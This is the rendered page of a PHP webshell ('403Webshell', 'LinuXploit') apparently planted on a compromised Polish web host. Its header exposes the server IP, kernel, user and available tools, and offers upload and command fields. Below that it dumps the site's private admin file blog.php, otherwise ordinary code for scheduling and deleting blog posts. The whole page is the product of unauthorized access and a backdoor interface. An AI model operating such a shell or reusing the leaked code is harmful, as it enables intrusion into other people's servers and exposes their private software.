403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/blog.php
<?php
declare(strict_types=1);

require_once dirname(__DIR__) . '/includes/functions.php';
$user = require_blog_manager();
ensure_blog_schema();
blog_promote_due_posts();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    verify_csrf();

    try {
        $action = (string)($_POST['action'] ?? '');

        if ($action === 'bulk_schedule') {
            $ids = $_POST['post_ids'] ?? [];
            if (!is_array($ids)) $ids = [];
            $ids = array_values(array_unique(array_filter(array_map('intval',$ids))));
            if (!$ids) throw new RuntimeException('Zaznacz co najmniej jeden szkic.');

            $rawStart = trim((string)($_POST['start_at'] ?? ''));
            $start = DateTimeImmutable::createFromFormat('Y-m-d\TH:i',$rawStart);
            if (!$start) throw new RuntimeException('Podaj datę startową harmonogramu.');
            if ($start <= new DateTimeImmutable('now')) throw new RuntimeException('Start harmonogramu musi być w przyszłości.');

            $minGap = max(1,min(60,(int)($_POST['gap_min'] ?? 7)));
            $maxGap = max($minGap,min(90,(int)($_POST['gap_max'] ?? 12)));

            $current = $start;
            $stmt = db()->prepare(
                "UPDATE blog_posts
                 SET status='scheduled',publish_at=?,updated_by_user_id=?,updated_at=NOW()
                 WHERE id=? AND status='draft'"
            );
            $scheduled = 0;
            foreach ($ids as $idx=>$id) {
                if ($idx > 0) {
                    $current = $current->modify('+' . random_int($minGap,$maxGap) . ' days');
                }
                $stmt->execute([$current->format('Y-m-d H:i:s'),(int)$user['id'],$id]);
                $scheduled += $stmt->rowCount();
            }

            admin_log('blog_bulk_schedule','Zaplanowano wpisów: '.$scheduled);
            flash('success','Zaplanowano wpisów: '.$scheduled.'. Publikacja wykona się automatycznie przy pierwszym wejściu po terminie – bez crona.');
            redirect('/admin/blog.php');
        }

        if ($action === 'delete') {
            $id = (int)($_POST['id'] ?? 0);
            $post = blog_post_by_id($id);
            if (!$post) throw new RuntimeException('Nie znaleziono wpisu.');
            db()->prepare('DELETE FROM blog_posts WHERE id=?')->execute([$id]);
            /* PIN77_AUTO_BLOG_DELETE */
            require_once dirname(__DIR__) . '/includes/polana_indexnow.php'; pin77_after_blog_delete($post);
            admin_log('blog_delete','Usunięto wpis: '.$post['title']);
            flash('success','Wpis został usunięty.');
            redirect('/admin/blog.php');
        }
    } catch (Throwable $e) {
        flash('error',$e->getMessage());
        redirect('/admin/blog.php');
    }
}

/* POLANA V18: filtered, paginated blog. Scheduler operates on visible draft rows. */
$blogStatus=(string)($_GET['status']??'all');if(!in_array($blogStatus,['all','draft','scheduled','published'],true))$blogStatus='all';
$blogSearch=trim((string)($_GET['q']??''));if(strlen($blogSearch)>100)$blogSearch=substr($blogSearch,0,100);
$blogPer=(int)($_GET['per_page']??20);if(!in_array($blogPer,[20,50,100],true))$blogPer=20;
$blogPage=max(1,(int)($_GET['page']??1));
$blogCounts=['draft'=>0,'scheduled'=>0,'published'=>0];
foreach(db()->query('SELECT status,COUNT(*) AS n FROM blog_posts GROUP BY status')->fetchAll(PDO::FETCH_ASSOC) as $r)if(isset($blogCounts[$r['status']]))$blogCounts[$r['status']]=(int)$r['n'];
$draftCount=$blogCounts['draft'];$scheduledCount=$blogCounts['scheduled'];$publishedCount=$blogCounts['published'];
$where=[];$args=[];
if($blogStatus!=='all'){$where[]='p.status=?';$args[]=$blogStatus;}
if($blogSearch!==''){$where[]='(p.title LIKE ? OR p.slug LIKE ?)';$args[]='%'.$blogSearch.'%';$args[]='%'.$blogSearch.'%';}
$clause=$where?' WHERE '.implode(' AND ',$where):'';
$countQ=db()->prepare('SELECT COUNT(*) FROM blog_posts p'.$clause);$countQ->execute($args);
$blogTotal=(int)$countQ->fetchColumn();$blogPages=max(1,(int)ceil($blogTotal/$blogPer));$blogPage=min($blogPage,$blogPages);
$sql="SELECT p.*,u.name AS author_name,u.username AS author_username FROM blog_posts p LEFT JOIN users u ON u.id=p.updated_by_user_id".$clause." ORDER BY COALESCE(p.publish_at,p.created_at) DESC,p.id DESC LIMIT ".$blogPer." OFFSET ".(($blogPage-1)*$blogPer);
$listQ=db()->prepare($sql);$listQ->execute($args);$posts=$listQ->fetchAll(PDO::FETCH_ASSOC);
function pv18_blog_link(int $page):string {$params=$_GET;$params['page']=$page;return '/admin/blog.php?'.http_build_query($params);}
$defaultStart = (new DateTimeImmutable('tomorrow 10:00'))->format('Y-m-d\TH:i');
render_admin_header('Blog');
?>
<div class="admin-title-row">
    <div>
        <h1>Blog</h1>
        <p>Szkice, publikacja i harmonogram jak na mechanik.gomibud.pl – bez crona i bez SSH.</p>
    </div>
    <a class="btn btn-light" href="/admin/polana-v193-auto-harmonogram.php">Automatyczny harmonogram</a>
    <a class="btn btn-primary" href="/admin/blog-edit.php">Nowy wpis</a>
</div>

<?php if (setting('nav_blog_enabled','0') !== '1'): ?>
<div class="flash flash-error">Blog jest obecnie ukryty w menu. Możesz przygotować wpisy, a potem włączyć Blog w <a href="/admin/modules.php">Sekcjach</a>.</div>
<?php endif; ?>

<div class="grid-cards">
    <div class="card"><h3>Szkice</h3><div class="stat"><?= $draftCount ?></div></div>
    <div class="card"><h3>Zaplanowane</h3><div class="stat"><?= $scheduledCount ?></div></div>
    <div class="card"><h3>Opublikowane</h3><div class="stat"><?= $publishedCount ?></div></div>
</div>

<section class="form-card" style="margin-top:20px">
    <div class="admin-section-title">
        <h2>Automatyczny scheduler szkiców</h2>
        <p>Zaznacz szkice poniżej. Pierwszy dostanie datę startową, kolejne zostaną rozłożone losowo co podaną liczbę dni. Po terminie wpis publikuje się przy pierwszym wejściu na blog – nie potrzebuje crona.</p>
    </div>
    <form method="post" id="blog-scheduler-form" class="form-grid">
        <?= csrf_field() ?>
        <input type="hidden" name="action" value="bulk_schedule">
        <label>Start
            <input type="datetime-local" name="start_at" value="<?= e($defaultStart) ?>" required>
        </label>
        <label>Min. odstęp (dni)
            <input type="number" name="gap_min" min="1" max="60" value="7">
        </label>
        <label>Max. odstęp (dni)
            <input type="number" name="gap_max" min="1" max="90" value="12">
        </label>
        <div class="full"><button class="btn btn-green" type="submit">Zaplanuj zaznaczone szkice</button></div>
    </form>
</section>

<section class="form-card" style="margin-top:20px">
    <div class="admin-section-title"><h2>Wpisy · <?= $blogTotal ?> wyników</h2></div>
    <form method="get" style="display:flex;flex-wrap:wrap;gap:10px;align-items:end;margin:12px 0 20px">
      <label style="flex:2;min-width:160px">Szukaj<input type="search" name="q" value="<?=e($blogSearch)?>" placeholder="Tytuł lub slug"></label>
      <label style="min-width:140px">Status<select name="status"><?php foreach(['all'=>'Wszystkie','draft'=>'Szkice','scheduled'=>'Zaplanowane','published'=>'Opublikowane'] as $k=>$v):?><option value="<?=e($k)?>" <?=$blogStatus===$k?'selected':''?>><?=e($v)?></option><?php endforeach;?></select></label>
      <label style="min-width:115px">Na stronę<select name="per_page"><?php foreach([20,50,100] as $n):?><option value="<?=$n?>" <?=$blogPer===$n?'selected':''?>><?=$n?></option><?php endforeach;?></select></label>
      <button class="btn btn-primary">Filtruj</button>
    </form>
    <div class="table-wrap">
        <table class="admin-table">
            <thead><tr><th></th><th>Tytuł</th><th>Status</th><th>Publikacja</th><th>Kategoria</th><th></th></tr></thead>
            <tbody>
            <?php if (!$posts): ?><tr><td colspan="6" class="muted">Brak wpisów.</td></tr><?php endif; ?>
            <?php foreach ($posts as $post): ?>
                <tr>
                    <td>
                        <?php if ($post['status']==='draft'): ?>
                            <input type="checkbox" name="post_ids[]" value="<?= (int)$post['id'] ?>" form="blog-scheduler-form">
                        <?php endif; ?>
                    </td>
                    <td>
                        <strong><?= e($post['title']) ?></strong><br>
                        <small class="muted">/blog/<?= e($post['slug']) ?></small>
                    </td>
                    <td><span class="tip-status <?= $post['status']==='published' ? 'is-settled' : 'is-open' ?>"><?= e(blog_status_label($post)) ?></span></td>
                    <td><?= $post['publish_at'] ? e((new DateTimeImmutable($post['publish_at']))->format('d.m.Y H:i')) : '—' ?></td>
                    <td><?= e((string)($post['category'] ?: '—')) ?></td>
                    <td>
                        <div class="tip-actions">
                            <a class="btn btn-small btn-light" href="/admin/blog-edit.php?id=<?= (int)$post['id'] ?>">Edytuj</a>
                            <a class="btn btn-small btn-light" href="/blog/<?= e($post['slug']) ?>?preview=1" target="_blank" rel="noopener">Podgląd</a>
                            <form method="post" onsubmit="return confirm('Usunąć wpis?')">
                                <?= csrf_field() ?>
                                <input type="hidden" name="action" value="delete">
                                <input type="hidden" name="id" value="<?= (int)$post['id'] ?>">
                                <button class="btn btn-small btn-light" type="submit">Usuń</button>
                            </form>
                        </div>
                    </td>
                </tr>
            <?php endforeach; ?>
            </tbody>
        </table>
    </div>
    <?php if($blogPages>1):?><nav style="display:flex;gap:8px;flex-wrap:wrap;margin:18px 0" aria-label="Paginacja bloga">
    <?php if($blogPage>1):?><a class="btn btn-light" href="<?=e(pv18_blog_link($blogPage-1))?>">← Poprzednia</a><?php endif;?>
    <?php for($n=max(1,$blogPage-2);$n<=min($blogPages,$blogPage+2);$n++):?><a class="btn btn-light" href="<?=e(pv18_blog_link($n))?>" <?=$n===$blogPage?'aria-current="page"':''?>><?=$n?></a><?php endfor;?>
    <?php if($blogPage<$blogPages):?><a class="btn btn-light" href="<?=e(pv18_blog_link($blogPage+1))?>">Następna →</a><?php endif;?></nav><?php endif;?>
</section>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit